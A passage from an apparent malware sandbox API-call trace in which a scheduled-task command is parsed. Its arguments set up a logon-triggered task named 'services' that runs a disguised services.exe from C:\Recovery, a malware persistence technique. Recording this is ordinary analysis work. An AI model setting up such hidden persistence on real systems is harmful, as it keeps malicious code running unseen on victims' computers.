_Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.445] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|delete|") returned 8 [0149.445] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tn|") returned 4 [0149.445] lstrlenW (lpString="|delete|") returned 8 [0149.445] lstrlenW (lpString="|tn|") returned 4 [0149.445] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0149.445] SetLastError (dwErrCode=0x490) [0149.445] lstrlenW (lpString="query") returned 5 [0149.445] lstrlenW (lpString="query") returned 5 [0149.445] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.445] lstrlenW (lpString="tn") returned 2 [0149.445] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.445] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|query|") returned 7 [0149.445] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tn|") returned 4 [0149.446] lstrlenW (lpString="|query|") returned 7 [0149.446] lstrlenW (lpString="|tn|") returned 4 [0149.446] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0149.446] SetLastError (dwErrCode=0x490) [0149.446] lstrlenW (lpString="change") returned 6 [0149.446] lstrlenW (lpString="change") returned 6 [0149.446] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.446] lstrlenW (lpString="tn") returned 2 [0149.446] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.446] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|change|") returned 8 [0149.446] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tn|") returned 4 [0149.446] lstrlenW (lpString="|change|") returned 8 [0149.446] lstrlenW (lpString="|tn|") returned 4 [0149.446] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0149.446] SetLastError (dwErrCode=0x490) [0149.446] lstrlenW (lpString="run") returned 3 [0149.446] lstrlenW (lpString="run") returned 3 [0149.446] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.446] lstrlenW (lpString="tn") returned 2 [0149.446] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.446] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|run|") returned 5 [0149.446] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tn|") returned 4 [0149.446] lstrlenW (lpString="|run|") returned 5 [0149.446] lstrlenW (lpString="|tn|") returned 4 [0149.446] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0149.446] SetLastError (dwErrCode=0x490) [0149.446] lstrlenW (lpString="end") returned 3 [0149.446] lstrlenW (lpString="end") returned 3 [0149.447] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.447] lstrlenW (lpString="tn") returned 2 [0149.447] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.447] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|end|") returned 5 [0149.447] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tn|") returned 4 [0149.447] lstrlenW (lpString="|end|") returned 5 [0149.447] lstrlenW (lpString="|tn|") returned 4 [0149.447] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0149.447] SetLastError (dwErrCode=0x490) [0149.447] lstrlenW (lpString="showsid") returned 7 [0149.447] lstrlenW (lpString="showsid") returned 7 [0149.447] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.447] GetProcessHeap () returned 0x2f0000 [0149.447] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c260) returned 1 [0149.447] GetProcessHeap () returned 0x2f0000 [0149.447] RtlReAllocateHeap (Heap=0x2f0000, Flags=0xc, Ptr=0x30c260, Size=0x16) returned 0x30c260 [0149.447] lstrlenW (lpString="tn") returned 2 [0149.447] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.447] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|showsid|") returned 9 [0149.447] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tn|") returned 4 [0149.447] lstrlenW (lpString="|showsid|") returned 9 [0149.447] lstrlenW (lpString="|tn|") returned 4 [0149.447] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0149.447] SetLastError (dwErrCode=0x490) [0149.448] SetLastError (dwErrCode=0x490) [0149.448] SetLastError (dwErrCode=0x0) [0149.448] lstrlenW (lpString="/tn") returned 3 [0149.448] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0149.448] SetLastError (dwErrCode=0x490) [0149.448] SetLastError (dwErrCode=0x0) [0149.448] lstrlenW (lpString="/tn") returned 3 [0149.448] GetProcessHeap () returned 0x2f0000 [0149.448] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30c200 [0149.448] GetProcessHeap () returned 0x2f0000 [0149.449] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc10 [0149.449] SetLastError (dwErrCode=0x0) [0149.449] SetLastError (dwErrCode=0x0) [0149.450] lstrlenW (lpString="services") returned 8 [0149.450] lstrlenW (lpString="-/") returned 2 [0149.450] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0149.450] SetLastError (dwErrCode=0x490) [0149.450] SetLastError (dwErrCode=0x490) [0149.450] SetLastError (dwErrCode=0x0) [0149.450] lstrlenW (lpString="services") returned 8 [0149.450] StrChrIW (lpStart="services", wMatch=0x3a) returned 0x0 [0149.450] SetLastError (dwErrCode=0x490) [0149.450] SetLastError (dwErrCode=0x0) [0149.450] lstrlenW (lpString="services") returned 8 [0149.450] GetProcessHeap () returned 0x2f0000 [0149.450] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x12) returned 0x30c290 [0149.450] GetProcessHeap () returned 0x2f0000 [0149.450] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc40 [0149.450] SetLastError (dwErrCode=0x0) [0149.450] SetLastError (dwErrCode=0x0) [0149.450] lstrlenW (lpString="/sc") returned 3 [0149.450] lstrlenW (lpString="-/") returned 2 [0149.450] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.450] lstrlenW (lpString="?") returned 1 [0149.450] lstrlenW (lpString="?") returned 1 [0149.450] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.450] lstrlenW (lpString="sc") returned 2 [0149.450] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.450] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|?|") returned 3 [0149.450] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|sc|") returned 4 [0149.450] lstrlenW (lpString="|?|") returned 3 [0149.451] lstrlenW (lpString="|sc|") returned 4 [0149.451] SetLastError (dwErrCode=0x490) [0149.451] lstrlenW (lpString="create") returned 6 [0149.451] lstrlenW (lpString="create") returned 6 [0149.451] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.451] lstrlenW (lpString="sc") returned 2 [0149.451] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.451] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|create|") returned 8 [0149.451] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|sc|") returned 4 [0149.451] lstrlenW (lpString="|create|") returned 8 [0149.451] lstrlenW (lpString="|sc|") returned 4 [0149.451] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0149.451] SetLastError (dwErrCode=0x490) [0149.451] lstrlenW (lpString="delete") returned 6 [0149.451] lstrlenW (lpString="delete") returned 6 [0149.451] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.451] lstrlenW (lpString="sc") returned 2 [0149.451] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.451] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|delete|") returned 8 [0149.451] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|sc|") returned 4 [0149.451] lstrlenW (lpString="|delete|") returned 8 [0149.451] lstrlenW (lpString="|sc|") returned 4 [0149.451] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0149.451] SetLastError (dwErrCode=0x490) [0149.451] lstrlenW (lpString="query") returned 5 [0149.451] lstrlenW (lpString="query") returned 5 [0149.451] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.452] lstrlenW (lpString="sc") returned 2 [0149.452] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.452] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|query|") returned 7 [0149.452] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|sc|") returned 4 [0149.452] lstrlenW (lpString="|query|") returned 7 [0149.452] lstrlenW (lpString="|sc|") returned 4 [0149.452] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0149.452] SetLastError (dwErrCode=0x490) [0149.452] lstrlenW (lpString="change") returned 6 [0149.452] lstrlenW (lpString="change") returned 6 [0149.452] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.452] lstrlenW (lpString="sc") returned 2 [0149.452] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.452] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|change|") returned 8 [0149.452] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|sc|") returned 4 [0149.452] lstrlenW (lpString="|change|") returned 8 [0149.452] lstrlenW (lpString="|sc|") returned 4 [0149.452] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0149.452] SetLastError (dwErrCode=0x490) [0149.452] lstrlenW (lpString="run") returned 3 [0149.452] lstrlenW (lpString="run") returned 3 [0149.452] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.452] lstrlenW (lpString="sc") returned 2 [0149.452] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.452] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|run|") returned 5 [0149.453] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|sc|") returned 4 [0149.453] lstrlenW (lpString="|run|") returned 5 [0149.453] lstrlenW (lpString="|sc|") returned 4 [0149.453] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0149.453] SetLastError (dwErrCode=0x490) [0149.453] lstrlenW (lpString="end") returned 3 [0149.453] lstrlenW (lpString="end") returned 3 [0149.453] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.453] lstrlenW (lpString="sc") returned 2 [0149.453] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.453] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|end|") returned 5 [0149.453] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|sc|") returned 4 [0149.453] lstrlenW (lpString="|end|") returned 5 [0149.453] lstrlenW (lpString="|sc|") returned 4 [0149.453] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0149.453] SetLastError (dwErrCode=0x490) [0149.453] lstrlenW (lpString="showsid") returned 7 [0149.453] lstrlenW (lpString="showsid") returned 7 [0149.453] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.453] lstrlenW (lpString="sc") returned 2 [0149.453] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.453] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|showsid|") returned 9 [0149.453] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|sc|") returned 4 [0149.453] lstrlenW (lpString="|showsid|") returned 9 [0149.453] lstrlenW (lpString="|sc|") returned 4 [0149.453] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0149.454] SetLastError (dwErrCode=0x490) [0149.454] SetLastError (dwErrCode=0x490) [0149.454] SetLastError (dwErrCode=0x0) [0149.454] lstrlenW (lpString="/sc") returned 3 [0149.454] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0149.454] SetLastError (dwErrCode=0x490) [0149.454] SetLastError (dwErrCode=0x0) [0149.454] lstrlenW (lpString="/sc") returned 3 [0149.454] GetProcessHeap () returned 0x2f0000 [0149.454] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30c2b0 [0149.454] GetProcessHeap () returned 0x2f0000 [0149.454] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cc70 [0149.454] SetLastError (dwErrCode=0x0) [0149.454] SetLastError (dwErrCode=0x0) [0149.454] lstrlenW (lpString="ONLOGON") returned 7 [0149.454] lstrlenW (lpString="-/") returned 2 [0149.454] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0149.454] SetLastError (dwErrCode=0x490) [0149.454] SetLastError (dwErrCode=0x490) [0149.454] SetLastError (dwErrCode=0x0) [0149.454] lstrlenW (lpString="ONLOGON") returned 7 [0149.454] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0149.454] SetLastError (dwErrCode=0x490) [0149.454] SetLastError (dwErrCode=0x0) [0149.454] lstrlenW (lpString="ONLOGON") returned 7 [0149.454] GetProcessHeap () returned 0x2f0000 [0149.454] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30c2d0 [0149.454] GetProcessHeap () returned 0x2f0000 [0149.454] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cca0 [0149.454] SetLastError (dwErrCode=0x0) [0149.454] SetLastError (dwErrCode=0x0) [0149.454] lstrlenW (lpString="/tr") returned 3 [0149.455] lstrlenW (lpString="-/") returned 2 [0149.455] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.455] lstrlenW (lpString="?") returned 1 [0149.455] lstrlenW (lpString="?") returned 1 [0149.455] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.455] lstrlenW (lpString="tr") returned 2 [0149.455] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.455] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|?|") returned 3 [0149.455] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tr|") returned 4 [0149.455] lstrlenW (lpString="|?|") returned 3 [0149.455] lstrlenW (lpString="|tr|") returned 4 [0149.455] SetLastError (dwErrCode=0x490) [0149.455] lstrlenW (lpString="create") returned 6 [0149.455] lstrlenW (lpString="create") returned 6 [0149.455] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.455] lstrlenW (lpString="tr") returned 2 [0149.455] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.455] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|create|") returned 8 [0149.455] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tr|") returned 4 [0149.455] lstrlenW (lpString="|create|") returned 8 [0149.455] lstrlenW (lpString="|tr|") returned 4 [0149.455] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0149.455] SetLastError (dwErrCode=0x490) [0149.455] lstrlenW (lpString="delete") returned 6 [0149.455] lstrlenW (lpString="delete") returned 6 [0149.455] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.456] lstrlenW (lpString="tr") returned 2 [0149.456] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.456] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|delete|") returned 8 [0149.457] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tr|") returned 4 [0149.457] lstrlenW (lpString="|delete|") returned 8 [0149.457] lstrlenW (lpString="|tr|") returned 4 [0149.457] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0149.457] SetLastError (dwErrCode=0x490) [0149.457] lstrlenW (lpString="query") returned 5 [0149.457] lstrlenW (lpString="query") returned 5 [0149.457] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.457] lstrlenW (lpString="tr") returned 2 [0149.457] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.457] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|query|") returned 7 [0149.457] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tr|") returned 4 [0149.457] lstrlenW (lpString="|query|") returned 7 [0149.457] lstrlenW (lpString="|tr|") returned 4 [0149.457] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0149.458] SetLastError (dwErrCode=0x490) [0149.458] lstrlenW (lpString="change") returned 6 [0149.458] lstrlenW (lpString="change") returned 6 [0149.458] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.458] lstrlenW (lpString="tr") returned 2 [0149.458] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.458] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|change|") returned 8 [0149.458] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tr|") returned 4 [0149.458] lstrlenW (lpString="|change|") returned 8 [0149.458] lstrlenW (lpString="|tr|") returned 4 [0149.458] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0149.458] SetLastError (dwErrCode=0x490) [0149.458] lstrlenW (lpString="run") returned 3 [0149.458] lstrlenW (lpString="run") returned 3 [0149.458] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.458] lstrlenW (lpString="tr") returned 2 [0149.458] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.458] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|run|") returned 5 [0149.458] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tr|") returned 4 [0149.458] lstrlenW (lpString="|run|") returned 5 [0149.458] lstrlenW (lpString="|tr|") returned 4 [0149.458] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0149.458] SetLastError (dwErrCode=0x490) [0149.458] lstrlenW (lpString="end") returned 3 [0149.458] lstrlenW (lpString="end") returned 3 [0149.458] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.458] lstrlenW (lpString="tr") returned 2 [0149.459] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.459] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|end|") returned 5 [0149.459] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tr|") returned 4 [0149.459] lstrlenW (lpString="|end|") returned 5 [0149.459] lstrlenW (lpString="|tr|") returned 4 [0149.459] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0149.459] SetLastError (dwErrCode=0x490) [0149.459] lstrlenW (lpString="showsid") returned 7 [0149.459] lstrlenW (lpString="showsid") returned 7 [0149.459] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.459] lstrlenW (lpString="tr") returned 2 [0149.459] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.459] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|showsid|") returned 9 [0149.459] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tr|") returned 4 [0149.459] lstrlenW (lpString="|showsid|") returned 9 [0149.459] lstrlenW (lpString="|tr|") returned 4 [0149.459] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0149.459] SetLastError (dwErrCode=0x490) [0149.459] SetLastError (dwErrCode=0x490) [0149.459] SetLastError (dwErrCode=0x0) [0149.459] lstrlenW (lpString="/tr") returned 3 [0149.459] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0149.459] SetLastError (dwErrCode=0x490) [0149.459] SetLastError (dwErrCode=0x0) [0149.459] lstrlenW (lpString="/tr") returned 3 [0149.459] GetProcessHeap () returned 0x2f0000 [0149.459] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30c2f0 [0149.459] GetProcessHeap () returned 0x2f0000 [0149.460] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30ccd0 [0149.460] SetLastError (dwErrCode=0x0) [0149.460] SetLastError (dwErrCode=0x0) [0149.460] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.460] lstrlenW (lpString="-/") returned 2 [0149.460] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0149.460] SetLastError (dwErrCode=0x490) [0149.460] SetLastError (dwErrCode=0x490) [0149.460] SetLastError (dwErrCode=0x0) [0149.460] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.460] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0149.460] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.460] GetProcessHeap () returned 0x2f0000 [0149.460] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30c310 [0149.460] _memicmp (_Buf1=0x30c310, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.460] GetProcessHeap () returned 0x2f0000 [0149.460] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30c330 [0149.460] GetProcessHeap () returned 0x2f0000 [0149.460] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d500 [0149.460] _memicmp (_Buf1=0x30d500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.460] GetProcessHeap () returned 0x2f0000 [0149.460] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x82) returned 0x30dcd0 [0149.460] SetLastError (dwErrCode=0x7a) [0149.460] SetLastError (dwErrCode=0x0) [0149.460] SetLastError (dwErrCode=0x0) [0149.460] lstrlenW (lpString="'C") returned 2 [0149.461] lstrlenW (lpString="-/") returned 2 [0149.461] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0149.461] SetLastError (dwErrCode=0x490) [0149.461] SetLastError (dwErrCode=0x490) [0149.461] SetLastError (dwErrCode=0x0) [0149.461] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.461] GetProcessHeap () returned 0x2f0000 [0149.461] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x80) returned 0x30dd60 [0149.461] GetProcessHeap () returned 0x2f0000 [0149.461] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd00 [0149.461] SetLastError (dwErrCode=0x0) [0149.461] SetLastError (dwErrCode=0x0) [0149.461] lstrlenW (lpString="/rl") returned 3 [0149.461] lstrlenW (lpString="-/") returned 2 [0149.461] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.461] lstrlenW (lpString="?") returned 1 [0149.461] lstrlenW (lpString="?") returned 1 [0149.461] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.461] lstrlenW (lpString="rl") returned 2 [0149.461] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.461] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|?|") returned 3 [0149.461] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|rl|") returned 4 [0149.461] lstrlenW (lpString="|?|") returned 3 [0149.461] lstrlenW (lpString="|rl|") returned 4 [0149.461] SetLastError (dwErrCode=0x490) [0149.461] lstrlenW (lpString="create") returned 6 [0149.461] lstrlenW (lpString="create") returned 6 [0149.461] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.462] lstrlenW (lpString="rl") returned 2 [0149.462] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.462] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|create|") returned 8 [0149.462] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|rl|") returned 4 [0149.462] lstrlenW (lpString="|create|") returned 8 [0149.462] lstrlenW (lpString="|rl|") returned 4 [0149.462] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0149.462] SetLastError (dwErrCode=0x490) [0149.462] lstrlenW (lpString="delete") returned 6 [0149.462] lstrlenW (lpString="delete") returned 6 [0149.462] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.462] lstrlenW (lpString="rl") returned 2 [0149.462] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.462] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|delete|") returned 8 [0149.462] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|rl|") returned 4 [0149.462] lstrlenW (lpString="|delete|") returned 8 